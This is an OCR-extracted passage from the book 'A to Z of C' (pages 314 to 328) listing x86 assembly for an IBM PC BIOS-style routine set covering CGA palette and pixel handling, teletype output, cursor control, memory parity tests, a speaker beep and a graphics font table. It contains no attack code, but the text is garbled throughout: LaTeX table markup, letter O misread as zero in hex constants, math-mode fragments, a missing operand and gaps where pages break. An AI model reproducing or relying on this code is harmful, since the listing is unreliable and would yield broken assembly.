\hline & MOV & BX, ES & \\
\hline & OR & BX, DI & \\
\hline & JZ & CGR_11 & ...not found \\
\hline & JMP & short CGR_09 & ; Try using user grafix char \\
\hline CGR_11: & MOV & [BP+2], AL & ; Return char in user AL \\
\hline & POP & DS & \\
\hline & ADD & SP, 8 & ...return temp storage \\
\hline & RET & & \\
\hline CRT_11: & MOV & DX, DS: 63h & Set color, get CGA card port \\
\hline & ADD & DX, 5 & ; ...color select register \\
\hline & MOV & AL, DS: 66h & ; Get CRT palette \\
\hline & MOV & AH, [ \(\mathrm{BP}+5\) ] & ; ...new palette ID, user BH \\
\hline & OR & AH, AH & \\
\hline & MOV & AH, [ \(\mathrm{BP}+4]\) & ; ...new palette color, user BL \\
\hline & JNZ & C_PAL1 & ; Palette ID specified, skip \\
\hline & AND & AL, OE0h & \\
\hline & AND & AH, 1Fh & ; Null ID = ID 01Fh \\
\hline & OR & AL, AH & ; ...set in color \\
\hline & JMP & short C_PAL2 & \\
\hline C_PAL1: & AND & AL, 0DFh & \\
\hline & TEST & AH, 1 & \\
\hline & JZ & C_PAL2 & \\
\hline & OR & AL, 20h & \\
\hline C_PAL2: & MOV & DS: 66h, AL & ; Save new palette \\
\hline & OUT & DX, AL & ; ...tell CGA about it \\
\hline & RET & & \\
\hline CRT_12: & MOV & AX, [BP+0] & ; Write pixel \\
\hline & MOV & ES, AX & \\
\hline & MOV & DX, [BP+8] & ; Load row from user DX \\
\hline & & & \\
\hline
\end{tabular}
```

    MOV CX,[BP+6]
    CALL LOCDOT
    JNZ WD_01
    MOV AL,[BP+2]
    MOV BL,AL
    AND AL,1
    ROR AL,1
    MOV AH,7Fh
    JMP short WD_02
    WD_01: SHL CL,1
MOV AL,[BP+2]
MOV BL,AL
AND AL, 3
ROR AL,1
ROR AL,1
MOV AH,3Fh
WD_02: ROR AH,CL
SHR AL,CL
MOV CL,ES:[SI] ; Read the char with the dot
OR BL,BL
JNS WD_03
XOR CL,AL ; Exclusive or existing color
JMP short WD_04
WD_03: AND CL,AH ; Set new color for dot
OR CL,AL
WD_04: MOV ES:[SI],CL ; Write out char with the dot
RET
CRT_13: MOV AX,[BP+0]
MOV ES,AX
MOV DX,[BP+8]
MOV CX,[BP+6]
CALL LOCDOT
MOV AL,ES:[SI]
JNZ RD_01
SHL AL,CL
ROL AL,1
AND AL,1
JMP short RD_02
RD_01: SHL CL,1 ; Calculate offset in char
SHL AL,CL
ROL AL,1

```

\section*{314 A to Z of C}
\begin{tabular}{|c|c|c|c|c|}
\hline & ROL & AL, 1 & & \\
\hline & AND & AL, 3 & & \\
\hline RD_02: & MOV & [BP+2], AL & ; & Return dot pos in user AL \\
\hline & RET & & & \\
\hline CRT_14: & MOV & BL, DS: 62 h & ; & Get active video page (0-7) \\
\hline & SHL & BL, 1 & ; & ...as word index \\
\hline & MOV & BH, 0 & ; & ...clear hi order \\
\hline & MOV & DX, [BX+50h] & ; & Index into cursor position \\
\hline & MOV & AL, [ \(\mathrm{BP}+2]\) & ; & Get char. to write \\
\hline & CMP & AL, 8 & ; & ...back space? \\
\hline & JZ & TTY_BS & ; & ...skip if so \\
\hline & CMP & AL, LF & ; & Is it a carriage return \\
\hline & JZ & TTY_LF & ; & ...skip if so \\
\hline & CMP & AL, 7 & ; & Print a bell? \\
\hline & JZ & BLIP & ; & ...do beep \\
\hline & CMP & AL, CR & ; & Is it a line feed? \\
\hline & JZ & TTY_CR & ; & ...skip if so \\
\hline & MOV & BL, [ \(\mathrm{BP}+4]\) & ; & Else write at cur pos \\
\hline & MOV & AH, 0Ah & & \\
\hline & MOV & CX, 1 & ; & ...one time \\
\hline & INT & 10h & & \\
\hline & INC & DL & ; & Advance cursor \\
\hline & CMP & DL, DS: 4Ah & ; & ...check for line overflow \\
\hline & JNZ & TTYPOS & & \\
\hline & MOV & DL, 0 & ; & Overflowed, then fake \\
\hline & JMP & short TTY_LF & ; & ...new line \\
\hline TTY_BS: & CMP & DL, 0 & ; & At start of line? \\
\hline & JZ & TTYPOS & ; & ...skip if so \\
\hline & DEC & DL & ; & Else back up \\
\hline & JMP & short TTYPOS & ; & ...join common code \\
\hline BLIP: & MOV & BL, 2 & ; & Do a short \\
\hline & CALL & BEEP & ; & . . .beep \\
\hline & RET & & & \\
\hline TTY_CR: & MOV & DL, 0 & ; & Position to start of line \\
\hline ; & JMP & short TTYPOS & & \\
\hline TTYPOS: & MOV & BL, DS: 62 h & ; & Get active video page (0-7) \\
\hline & SHL & BL, 1 & ; & ...as word index \\
\hline & MOV & BH, 0 & ; & ...clear hi order \\
\hline & MOV & [BX+50h], DX & ; & Remember the cursor position \\
\hline & JMP & SETCUR & ; & ...set 6845 cursor hardware \\
\hline & & & & \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|c|}
\hline \multirow[t]{4}{*}{TTY_LF:} & CMP & DH, 18h & ; & Done all 24 lines on page? \\
\hline & JZ & TTY_L1 & ; & ...yes, scroll \\
\hline & INC & DH & , & Else advance line \\
\hline & JNZ & TTYPOS & & \\
\hline \multirow[t]{8}{*}{TTY_L1:} & MOV & AH, 2 & ; & Position cursor at line start \\
\hline & INT & 10h & & \\
\hline & CALL & MODCHK & ; & Is this text mode? \\
\hline & MOV & BH, 0 & & \\
\hline & JB & TTY_L2 & ; & Skip if text mode \\
\hline & MOV & AH, 8 & & \\
\hline & INT & 10 h & ; & ...else read attribute \\
\hline & MOV & BH, AH & & \\
\hline \multirow[t]{8}{*}{TTY_L2:} & MOV & AH, 6 & ; & Now prepare to \\
\hline & MOV & AL, 1 & ; & ...scroll \\
\hline & XOR & CX, CX & ; & . . .the \\
\hline & MOV & DH,18h & ; & . . .page \\
\hline & MOV & DL, DS: 4Ah & ; & . . .up \\
\hline & DEC & DL & & \\
\hline & INT & 10h & & \\
\hline & RET & & & \\
\hline \multirow[t]{7}{*}{CRT_15:} & MOV & AL, DS: 4Ah & ; & Get current video state \\
\hline & MOV & [BP+3],AL & ; & ...columns \\
\hline & MOV & AL, DS:49h & & \\
\hline & MOV & [BP+2], AL & ; & . . .mode \\
\hline & MOV & AL, DS: 62 h & & \\
\hline & MOV & [BP+5], AL & ; & . . .page \\
\hline & RET & & & \\
\hline \multirow[t]{9}{*}{MODCHK :} & PUSH & AX & ; & Set flags acc. to cur. mode \\
\hline & MOV & AL, DS: 49 h & ; & ...get mode \\
\hline & CMP & AL, 7 & ; & ...EQU if mono \\
\hline & JZ & MODCH1 & & \\
\hline & CMP & AL, 4 & & \\
\hline & CMC & & & \\
\hline & JNB & MODCH1 & ; & ...carry set on graphix \\
\hline & SBB & AL, AL & & \\
\hline & STC & & & \\
\hline \multirow[t]{2}{*}{MODCH1:} & POP & AX & & \\
\hline & RET & & & \\
\hline LOCDOT: & MOV & AL, 50h & ; & Dots in char. position \\
\hline
\end{tabular}

\section*{316 A to Z of C}
\begin{tabular}{|c|c|c|c|c|}
\hline \multirow[t]{3}{*}{} & SHR & DL, 1 & ; & Two bytes/char. position \\
\hline & JNB & LOCDO1 & ; & ...not overflow \\
\hline & MOV & SI, 2000h & ; & Else on other video plane \\
\hline \multirow[t]{8}{*}{LOCDO1:} & MUL & DL & ; & Multiply position by row \\
\hline & ADD & SI, AX & ; & ..add in column position \\
\hline & MOV & DX, CX & ; & Copy column position \\
\hline & MOV & CX, 302h & ; & ...regular char size \\
\hline & CMP & Byte ptr DS:49h, 6 & ; & Mode \(640 \times 200\), b/w? \\
\hline & PUSHF & & & \\
\hline & JNZ & LOCDO2 & ; & ...skip if not \\
\hline & MOV & CX, 703h & ; & Else special char. size \\
\hline \multirow[t]{6}{*}{LOCDO2:} & AND & CH, DL & & \\
\hline & SHR & DX, CL & & \\
\hline & ADD & SI, DX & & \\
\hline & XCHG & \(\mathrm{CL}, \mathrm{CH}\) & & \\
\hline & POPF & & & \\
\hline & RET & & & \\
\hline \multirow[t]{6}{*}{PENXY:} & CALL & PENXY1 & ; & Read light pen position HI \\
\hline & MOV & CH, AL & ; & ...save in CH \\
\hline & INC & AH & & \\
\hline & CALL & PENXY1 & ; & Read light pen position LO \\
\hline & MOV & CL, AL & ; & ...save in CL \\
\hline & RET & & & \\
\hline \multirow[t]{8}{*}{PENXY1:} & PUSH & DX & ; & Read CRT register offset AL \\
\hline & MOV & DX, DS: 63h & ; & ...get active CRT port \\
\hline & XCHG & AL, AH & & \\
\hline & OUT & DX, AL & ; & Send initialization byte \\
\hline & INC & DL & ; & ...increment \\
\hline & IN & AL, DX & ; & Read pen position byte back \\
\hline & POP & DX & & \\
\hline & RET & & & \\
\hline \multirow[t]{3}{*}{MPRC2C:} & MOV & BH, 0 & ; & Convert Row, Col, Page -> Col \\
\hline & SHL & BX, 1 & ; & ...two bytes/column \\
\hline & MOV & AX, [BX+50h] & ; & \begin{tabular}{l}
Get page number in AX \\
...join common code
\end{tabular} \\
\hline \multirow[t]{8}{*}{RC2COL:} & PUSH & BX & ; & Map (AH=row, AL=COL) to COL \\
\hline & MOV & BL, AL & & \\
\hline & MOV & AL, AH & & \\
\hline & MUL & Byte ptr DS:4Ah & ; & Multiply RoW x (Row/Column) \\
\hline & MOV & BH, 0 & & \\
\hline & ADD & AX, BX & ; & ...add in existing COL \\
\hline & SHL & AX, 1 & ; & ...times 2 cause 2 bytes/col \\
\hline & POP & BX & & \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|}
\hline & RET & & \\
\hline \multirow[t]{10}{*}{GRAMAP :} & PUSH & BX & ; Convert (row, col) -> col \\
\hline & MOV & BL, AL & ; ...save column \\
\hline & MOV & AL, AH & ; ...get row \\
\hline & MUL & Byte ptr DS:4Ah & ; Multiply by columns/row \\
\hline & SHL & AX, 1 & \\
\hline & SHL & AX, 1 & \\
\hline & MOV & BH, 0 & \\
\hline & ADD & AX, BX & ; Add in columns \\
\hline & POP & BX & \\
\hline & RET & & \\
\hline \multirow[t]{3}{*}{SETCUR:} & SHR & BL, 1 & ; Sets 6845 cursor position \\
\hline & CMP & DS: 62h, BL & ; ...is this page visible? \\
\hline & JNZ & SEND01 & ; No, do nothing in hardware \\
\hline \multirow[t]{6}{*}{MOVCUR:} & CALL & MPRC2C & Map row, col,page to col \\
\hline & ADD & AX, DS:4Eh & ; + byte offset, regen reg. \\
\hline & SHR & AX, 1 & \\
\hline & MOV & CX, AX & \\
\hline & MOV & AH, 0Eh & ; Tell 6845 video controller \\
\hline & & & ; ...to position the cursor \\
\hline \multirow[t]{4}{*}{OT6845:} & MOV & AL, CH & Send CH,CL thru CRT reg AH \\
\hline & CALL & SENDAX & ...send CH \\
\hline & INC & AH & ...increment \\
\hline & MOV & AL, CL & ...send CL \\
\hline \multirow[t]{8}{*}{SENDAX:} & PUSH & DX & \\
\hline & MOV & DX, DS: 63h & ; Load active video port \\
\hline & XCHG & AL, AH & \\
\hline & OUT & DX, AL & ; Send hi order \\
\hline & XCHG & AL, AH & \\
\hline & INC & DL & \\
\hline & OUT & DX, AL & ... lo order \\
\hline & POP & DX & \\
\hline \multirow[t]{2}{*}{SEND01:} & RET & & \\
\hline & ENTRY & 0F841h & ; IBM entry for memory size \\
\hline \multirow[t]{6}{*}{INT_12:} & STI & & ; Kbytes of memory present \\
\hline & PUSH & DS & \\
\hline & MOV & AX, 40h & \\
\hline & MOV & DS, AX & \\
\hline & MOV & AX, DS:13h & ; AX = memory size, kilobytes \\
\hline & POP & DS & \\
\hline
\end{tabular}

\section*{318 A to Z of C}

\begin{tabular}{|c|c|c|c|c|}
\hline & IN & AL, DX & ; & Get machine flags \\
\hline & OR & AL, 00110000 b & ; & ...disable parity int. \\
\hline & OUT & DX, AL & ; & Put out new flags \\
\hline & AND & AL, 11001111b & ; & ...enable parity int. \\
\hline & OUT & DX, AL & ; & Put out new flags \\
\hline & MOV & CL, 6 & & \\
\hline & MOV & BX, DS: 13 h & ; & Get memory size (K bytes) \\
\hline & SHL & BX, CL & & \\
\hline & INC & DX & ; & ...now paragraphs \\
\hline & XOR & AX, AX & & \\
\hline & MOV & DS, AX & & \\
\hline PAR_02: & MOV & CX, 10h & ; & Iterations to check \\
\hline & XOR & SI, SI & & \\
\hline PAR_03: & MOV & AH, [SI] & ; & Read the byte (dummy) \\
\hline & IN & AL, DX & ; & ...and read status \\
\hline & TEST & AL, 11000000 b & ; & ...to see what happened \\
\hline & JNZ & PAR_04 & ; & Read caused parity error \\
\hline & INC & SI & ; & ...else advance pointer \\
\hline & LOOP & PAR_03 & ; & ...and try next byte \\
\hline & MOV & AX, DS & & \\
\hline & INC & AX & ; & ...next paragraph \\
\hline & MOV & DS, AX & & \\
\hline & CMP & AX, BX & & \\
\hline & JNZ & PAR_02 & ; & More paragraphs to check \\
\hline & JMP & short PAR_05 & ; & ...else flakey error \\
\hline PAR_04: & MOV & [SI], AH & ; & Save offset in paragraph \\
\hline & MOV & AX, DS & & \\
\hline & CALL & BIGNUM & ; & Print segment \\
\hline & MOV & AX, SI & & \\
\hline & CALL & DIGIT & ; & Print offset \\
\hline PAR_05: & MOV & AX, 16h & ; & Where to position cursor \\
\hline & CALL & LOCATE & ; & ...position cursor \\
\hline & PUSH & DS & & \\
\hline & PUSH & CS & & \\
\hline & POP & DS & & \\
\hline & MOV & SI, offset BOMB_2 & ; & Continue ? \\
\hline & CALL & PRINT & ; & ...ask the user \\
\hline & POP & DS & & \\
\hline & IN & AL, 21h & ; & Get interrupt masks \\
\hline & PUSH & AX & ; & ...save them \\
\hline & MOV & AL, 11111100b & & \\
\hline & OUT & 21h, AL & ; & Disable all but keyboard \\
\hline
\end{tabular}

\section*{320 A to \(Z\) of \(C\)}

\begin{tabular}{|c|c|c|c|}
\hline \multirow[t]{4}{*}{} & CALL & NUMBER & \\
\hline & POP & AX & \\
\hline & CALL & NUMBER & \\
\hline & RET & & \\
\hline \multirow[t]{8}{*}{OUTCHR:} & PUSH & BX & \\
\hline & PUSH & AX & \\
\hline & MOV & AH, OEh & ; Teletype print service \\
\hline & MOV & BL, 7 & ; ...normal intensity \\
\hline & INT & 10h & \\
\hline & POP & AX & \\
\hline & POP & BX & \\
\hline & RET & & \\
\hline \multirow[t]{5}{*}{DIGIT:} & PUSH & & ; Print hex digit in AL \\
\hline & AND & AL, OFh & \\
\hline & CMP & AL, 9 & \\
\hline & JBE & D_01 & \\
\hline & ADD & AL, 'A'-'9'-1 & \\
\hline \multirow[t]{9}{*}{D_01:} & ADD & AL, ' 0 ' & ; Make ascii digit \\
\hline & CALL & OUTCHR & ; ...print it \\
\hline & POP & AX & \\
\hline & RET & & \\
\hline & MOV & AL, CR & ; Print carriage return \\
\hline & CALL & OUTCHR & ; ...on screen \\
\hline & MOV & AL, LF & ; Print line feed \\
\hline & CALL & OUTCHR & ; ...on screen \\
\hline & RET & & \\
\hline \multirow[t]{3}{*}{GETCH:} & MOV & AH, 0 & ; Read keyboard key \\
\hline & INT & 16h & \\
\hline & RET & & \\
\hline \multirow[t]{4}{*}{PRINT:} & LODSB & & ; Print zero terminated string \\
\hline & OR & AL, AL & \\
\hline & JNZ & PRINT1 & ; ...not terminator in AX \\
\hline & RET & & \\
\hline \multirow[t]{2}{*}{PRINT1:} & CALL & OUTCHR & ; Print character in AX \\
\hline & JMP & PRINT & ; ...back for more \\
\hline \multirow[t]{4}{*}{BEEP :} & PUSH & AX & \\
\hline & PUSH & CX & \\
\hline & MOV & AL, 10110110 b & ; Timer ic 8253 square waves \\
\hline & OUT & 43h, AL & ; ...channel 2 , speaker \\
\hline
\end{tabular}

\section*{322 A to \(Z\) of C}
\begin{tabular}{|c|c|c|c|}
\hline & MOV & AX, 528h & ; Get countdown constant word \\
\hline & OUT & 42 h , AL & ; ...send lo order \\
\hline & MOV & AL, AH & ; ...load hi order \\
\hline & OUT & 42h, AL & ; ...send hi order \\
\hline & IN & AL, 61h & ; Read ic 8255 machine status \\
\hline & PUSH & AX & \\
\hline & OR & AL, 00000011 b & \\
\hline & OUT & 61h, AL & ; Turn speaker on \\
\hline & XOR & CX, CX & \\
\hline BEEP_1: & LOOP & BEEP_1 & \\
\hline & DEC & BL & \\
\hline & JNZ & BEEP_1 & \\
\hline & POP & AX & \\
\hline & OUT & 61h, AL & ; Turn speaker off \\
\hline & POP & CX & \\
\hline & POP & AX & \\
\hline & RET & & \\
\hline V_INIT: & MOV & AH, DS: 10 h & ; Get equipment byte \\
\hline & AND & AH, 00110000b & ; ...extract CRT \\
\hline & MOV & AL, 0 & ; ...null lo \\
\hline & CMP & AH, 00110000 b & Monochrome? \\
\hline & JZ & LF9D9 & ; ...yes \\
\hline & MOV & AL, 1 & ; CGA 40 x 25? \\
\hline & CMP & AH, 00010000 b & ; ...yes \\
\hline & JZ & LF9D9 & ; CGA 80 x 25? \\
\hline & MOV & AL, 3 & ; ...yes \\
\hline LF9D9: & MOV & AH, 0 & ; Setup subfunction \\
\hline & INT & 10h & ; ...to video \\
\hline & RET & & \\
\hline BLANK : & MOV & DX, 184Fh & ; Lower right corner of scroll \\
\hline & XOR & CX, CX & ; Upper left corner of scroll \\
\hline & MOV & AX, 600h & ; Blank entire window \\
\hline & MOV & BH, 7 & ; Set regular cursor \\
\hline & INT & 10h & ; Call video service scroll \\
\hline & MOV & AH, 2 & ; Set cursor position \\
\hline & XOR & DX, DX & ; ...upper left corner \\
\hline & MOV & BH, 0 & ; ...page 0 \\
\hline & INT & 10h & ; ...call video service \\
\hline & RET & & \\
\hline LOCATE: & PUSH & DX & \\
\hline & PUSH & BX & \\
\hline & MOV & DX, AX & ; Get position for cursor \\
\hline
\end{tabular}

\begin{tabular}{|c|c|c|c|}
\hline \multirow[t]{4}{*}{} & REPZ & SCASB & ; Scan memory for NOT pattern \#3 \\
\hline & JCXZ & PAT_4 & \\
\hline & STC & & ...flunked \\
\hline & RET & & \\
\hline \multirow[t]{10}{*}{PAT_4:} & XOR & DI, DI & ; Pattern \#4 - Oh bytes \\
\hline & MOV & CX, BX & \\
\hline & DEC & AL & \\
\hline & REPZ & STOSB & Fill memory, pattern \#4 \\
\hline & XOR & DI, DI & \\
\hline & MOV & CX, BX & \\
\hline & REPZ & SCASB & ; Scan memory for NOT pattern \#4 \\
\hline & JCXZ & LFA59 & \\
\hline & STC & & ...flunked \\
\hline & RET & & \\
\hline \multirow[t]{5}{*}{LFA59:} & MOV & AX, ES & \\
\hline & ADD & AX, 40h & ; Add 40 h to segment number \\
\hline & MOV & ES, AX & \\
\hline & RET & & ...passed \\
\hline & ENTRY & 0FA6Eh & ; IBM graphics char set entry \\
\hline \multirow[t]{22}{*}{GRAFIX} & db & 000h,000h, 000h,000h & ; Graphics character set \\
\hline & db & 000h,000h,000h,000h & \\
\hline & db & 07Eh, 081h, 0A5h, 081h & \\
\hline & db & 0BDh, 099h, 081h, 07Eh & \\
\hline & db & \(07 \mathrm{Eh}, 0 \mathrm{FFh}, 0 \mathrm{DBh}, 0 \mathrm{FFh}\) & \\
\hline & db & \[
0 \mathrm{C} 3 \mathrm{~h}, 0 \mathrm{E} 7 \mathrm{~h}, 0 \mathrm{FFh}, 07 \mathrm{Eh}
\] & \\
\hline & db & \(06 \mathrm{Ch}, 0 \mathrm{FEh}, 0 \mathrm{FEh}, 0 \mathrm{FEh}\) & \\
\hline & db & 07Ch, 038h, 010h,000h & \\
\hline & db & 010h, 038h, 07Ch, 0FEh & \\
\hline & db & 07Ch, 038h, 010h, 000 h & \\
\hline & db & 038h, 07Ch, 038h, 0FEh & \\
\hline & db & 0FEh, \(07 \mathrm{Ch}, 038 \mathrm{~h}, 07 \mathrm{Ch}\) & \\
\hline & db & 010h, 010h, 038h, 07Ch & \\
\hline & db & 0FEh, \(07 \mathrm{Ch}, 038 \mathrm{~h}, 07 \mathrm{Ch}\) & \\
\hline & db & 000h,000h,018h,03Ch & \\
\hline & db & 03Ch, 018h, 000h,000h & \\
\hline & db & OFFh, 0FFh, 0E7h, 0C3h & \\
\hline & db & 0C3h, 0E7h, 0FFh, 0FFh & \\
\hline & db & 000h, 03Ch, 066h,042h & \\
\hline & db & 042h,066h,03Ch,000h & \\
\hline & db & 0FFh, 0C3h, 099h, 0BDh & \\
\hline & db & OBDh, 099h, 0C3h, 0FFh & \\
\hline
\end{tabular}
\begin{tabular}{|c|c|}
\hline db & 00Fh, \(007 \mathrm{~h}, 00 \mathrm{Fh}, 07 \mathrm{Dh}\) \\
\hline db & OCCh, \(0 \mathrm{CCh}, 0 \mathrm{CCh}, 078 \mathrm{~h}\) \\
\hline db & 03Ch, \(066 \mathrm{~h}, 066 \mathrm{~h}, 066 \mathrm{~h}\) \\
\hline db & 03Ch, 018h, 07Eh, 018h \\
\hline db & 03Fh, 033h, 03Fh, 030h \\
\hline db & 030h, \(070 \mathrm{~h}, 0 \mathrm{FOh}, 0 \mathrm{EOh}\) \\
\hline db & 07Fh, 063h, 07Fh, 063 h \\
\hline db & 063h, 067h, 0E6h, 0c0h \\
\hline db & 099h, 05Ah, 03Ch, 0E7h \\
\hline db & 0E7h, 03Ch, 05Ah, 099 h \\
\hline db & 080h, OE0h, 0F8h, OFEh \\
\hline db & 0F8h, 0E0h, 080h, 000h \\
\hline db & 002h, 00Eh, 03Eh, 0FEh \\
\hline db & 03Eh, 00Eh, \(002 \mathrm{~h}, 000 \mathrm{~h}\) \\
\hline db & 018h, 03Ch, 07Eh, 018h \\
\hline db & 018h, 07Eh, 03Ch, 018h \\
\hline db & 066h, \(066 \mathrm{~h}, 066 \mathrm{~h}, 066 \mathrm{~h}\) \\
\hline db & 066h,000h, \(066 \mathrm{~h}, 000 \mathrm{~h}\) \\
\hline db & 07Fh, 0DBh, 0DBh, 07Bh \\
\hline db & \(01 \mathrm{Bh}, 01 \mathrm{Bh}, 01 \mathrm{Bh}, 000 \mathrm{~h}\) \\
\hline db & 03Eh, \(063 \mathrm{~h}, 038 \mathrm{~h}, 06 \mathrm{Ch}\) \\
\hline db & \(06 \mathrm{Ch}, 038 \mathrm{~h}, 0 \mathrm{CCh}, 078 \mathrm{~h}\) \\
\hline db & 000h, \(000 \mathrm{~h}, 000 \mathrm{~h}, 000 \mathrm{~h}\) \\
\hline db & 07Eh, 07Eh, 07Eh, 000 h \\
\hline db & 018h, 03Ch, 07Eh, 018h \\
\hline db & 07Eh, 03Ch, 018h, 0FFh \\
\hline db & 018h, 03Ch, 07Eh, 018h \\
\hline db & 018h, 018h, 018h, 000h \\
\hline db & 018h, 018h, 018h, 018h \\
\hline db & 07Eh, 03Ch, 018h, 000 h \\
\hline db & 000h, 018h, \(00 \mathrm{Ch}, 0 \mathrm{FEh}\) \\
\hline db & 00Ch, 018h, \(000 \mathrm{~h}, 000 \mathrm{~h}\) \\
\hline db & 000h, 030h, \(060 \mathrm{~h}, 0 \mathrm{FEh}\) \\
\hline db & 060h, 030h, \(000 \mathrm{~h}, 000 \mathrm{~h}\) \\
\hline db & O00h, \(000 \mathrm{~h}, 0 \mathrm{COh}, 0 \mathrm{COh}\) \\
\hline db & OCOh, OFEh, \(000 \mathrm{~h}, 000 \mathrm{~h}\) \\
\hline db & 000h, 024h, \(066 \mathrm{~h}, 0 \mathrm{FFh}\) \\
\hline db & 066h, 024h, \(000 \mathrm{~h}, 000 \mathrm{~h}\) \\
\hline db & 000h, 018h, 03Ch, 07Eh \\
\hline db & OFFh, OFFh, \(000 \mathrm{~h}, 000 \mathrm{~h}\) \\
\hline db & 000h, 0FFh, 0FFh, 07Eh \\
\hline db & 03Ch, 018h, \(000 \mathrm{~h}, 000 \mathrm{~h}\) \\
\hline
\end{tabular}
\begin{tabular}{|c|c|}
\hline db & 000h,000h,000h,000h \\
\hline db & 000h,000h,000h,000h \\
\hline db & 030h,078h, 078h,030h \\
\hline db & 030h,000h,030h,000h \\
\hline db & \(06 \mathrm{Ch}, 06 \mathrm{Ch}, 06 \mathrm{Ch}, 000 \mathrm{~h}\) \\
\hline db & 000h,000h,000h,000h \\
\hline db & \(06 \mathrm{Ch}, 06 \mathrm{Ch}, 0 \mathrm{FEh}, 06 \mathrm{Ch}\) \\
\hline db & \(0 \mathrm{FEh}, 06 \mathrm{Ch}, 06 \mathrm{Ch}, 000 \mathrm{~h}\) \\
\hline db & 030h, 07Ch, 0C0h, 078 h \\
\hline db & 00Ch, 0F8h, 030h,000h \\
\hline db & 000h,0C6h, 0CCh,018h \\
\hline db & 030h,066h,0C6h,000h \\
\hline db & 038h, 06Ch,038h,076h \\
\hline db & 0DCh, 0CCh, 076h,000h \\
\hline db & 060h, 060h, 0c0h, 000 h \\
\hline db & 000h,000h,000h,000h \\
\hline db & 018h, 030h, 060h, 060 h \\
\hline db & 060h,030h,018h,000h \\
\hline db & 060h,030h, 018h,018h \\
\hline db & 018h,030h, 060h,000h \\
\hline db & 000h,066h,03Ch, 0FFh \\
\hline db & 03Ch, 066h,000h,000h \\
\hline db & 000h,030h, 030h, 0FCh \\
\hline db & 030h, 030h, 000h,000h \\
\hline db & 000h,000h, 000h,000h \\
\hline db & 000h,030h, 030h, 060 h \\
\hline db & 000h,000h,000h, 0FCh \\
\hline db & 000h,000h,000h,000h \\
\hline db & 000h, 000h, 000h, 000 h \\
\hline db & 000h, 030h, 030h,000h \\
\hline db & 006h,00Ch,018h,030h \\
\hline db & 060h, 0c0h, 080h, 000 h \\
\hline db & 07Ch, 0C6h, 0CEh, 0DEh \\
\hline db & 0F6h,0E6h,07Ch,000h \\
\hline db & 030h,070h,030h,030h \\
\hline db & 030h, 030h, 0FCh,000h \\
\hline db & 078h, 0CCh, 00Ch,038h \\
\hline db & \(060 \mathrm{~h}, 0 \mathrm{CCh}, 0 \mathrm{FCh}, 000 \mathrm{~h}\) \\
\hline db & 078h, 0CCh, 00Ch,038h \\
\hline db & \(00 \mathrm{Ch}, 0 \mathrm{CCh}, 078 \mathrm{~h}, 000 \mathrm{~h}\) \\
\hline db & 01Ch, 03Ch, \(06 \mathrm{Ch}, 0 \mathrm{CCh}\) \\
\hline
\end{tabular}
\begin{tabular}{|c|c|}
\hline db & OFEh, \(00 \mathrm{Ch}, 01 \mathrm{Eh}, 000 \mathrm{~h}\) \\
\hline db & OFCh, 0C0h, 0F8h, 00 Ch \\
\hline db & \(00 \mathrm{Ch}, 0 \mathrm{CCh}, 078 \mathrm{~h}, 000 \mathrm{~h}\) \\
\hline db & 038h, 060h, 0c0h, 0F8h \\
\hline db & OCCh, 0CCh, 078h, 000 h \\
\hline db & 0FCh, 0CCh, \(00 \mathrm{Ch}, 018 \mathrm{~h}\) \\
\hline db & 030h, 030h, 030h, 000h \\
\hline db & 078h, 0CCh, 0CCh, 078h \\
\hline db & 0CCh, 0cch, 078h, 000 h \\
\hline db & 078h, 0CCh, 0cCh, 07Ch \\
\hline db & 00ch, 018h, 070h, 000 h \\
\hline db & 000h, 030h, 030h, 000 h \\
\hline db & 000h, 030h, 030h, 000h \\
\hline db & 000h, 030h, 030h, 000 h \\
\hline db & 000h, 030h, 030h, 060 h \\
\hline db & 018h, 030h, \(060 \mathrm{~h}, 0 \mathrm{COh}\) \\
\hline db & 060h, 030h, 018h, 000h \\
\hline db & 000h, \(000 \mathrm{~h}, 0 \mathrm{FCh}, 000 \mathrm{~h}\) \\
\hline db & 000h, 0FCh, \(000 \mathrm{~h}, 000 \mathrm{~h}\) \\
\hline db & 060h, 030h, 018h, 00Ch \\
\hline db & 018h, 030h, 060h, 000 h \\
\hline db & 078h, 0CCh, \(00 \mathrm{Ch}, 018 \mathrm{~h}\) \\
\hline db & 030h, \(000 \mathrm{~h}, 030 \mathrm{~h}, 000 \mathrm{~h}\) \\
\hline db & 07Ch, 0C6h, 0DEh, 0DEh \\
\hline db & ODEh, OCOh, 078h, 000h \\
\hline db & 030h, \(078 \mathrm{~h}, 0 \mathrm{CCh}, 0 \mathrm{CCh}\) \\
\hline db & OFCh, \(0 \mathrm{CCh}, 0 \mathrm{CCh}, 000 \mathrm{~h}\) \\
\hline db & 0FCh, \(066 \mathrm{~h}, 066 \mathrm{~h}, 07 \mathrm{Ch}\) \\
\hline db & 066h, \(066 \mathrm{~h}, 0 \mathrm{FCh}, 000 \mathrm{~h}\) \\
\hline db & 03Ch, \(066 \mathrm{~h}, 0 \mathrm{COh}, 0 \mathrm{COh}\) \\
\hline db & 0c0h, \(066 \mathrm{~h}, 03 \mathrm{Ch}, 000 \mathrm{~h}\) \\
\hline db & 0F8h, \(066 \mathrm{Ch}, 066 \mathrm{~h}, 066 \mathrm{~h}\) \\
\hline db & 066h, 06Ch, 0F8h, 000 h \\
\hline db & 0FEh, 062h, 068h, 078h \\
\hline db & 068h, 062h, 0FEh, 000 h \\
\hline db & 0FEh, \(062 \mathrm{~h}, 068 \mathrm{~h}, 078 \mathrm{~h}\) \\
\hline db & 068h, 060h, 0F0h, 000h \\
\hline db & 03Ch, \(066 \mathrm{~h}, 0 \mathrm{COh}, 0 \mathrm{COh}\) \\
\hline db & OCEh, \(066 \mathrm{~h}, 03 \mathrm{Eh}, 000 \mathrm{~h}\) \\
\hline db & OCCh, OCCh, OCCh, OFCh \\
\hline db & \(0 \mathrm{CCh}, 0 \mathrm{CCh}, 0 \mathrm{CCh}, 000 \mathrm{~h}\) \\
\hline db & 078h, 030h, 030h, 030h \\
\hline
\end{tabular}

\section*{328 A to Z of C}
db 030h,030h,078h,000h
db 01Eh,00Ch,00Ch,00Ch
db OCCh,0CCh,078h,000h
db 0E6h,066h,06Ch,078h
db \(06 \mathrm{Ch}, 066 \mathrm{~h}, 0 \mathrm{E} 6 \mathrm{~h}, 000 \mathrm{~h}\)
db 0F0h,060h,060h,060h
db 062h,066h,0FEh,000h
db OC6h,0EEh, OFEh, 0FEh
db 0D6h,0C6h,0C6h,000h
db 0c6h,0E6h,0F6h,0DEh
db OCEh,0c6h,0c6h,000h
db 038h,06Ch,0c6h,0C6h
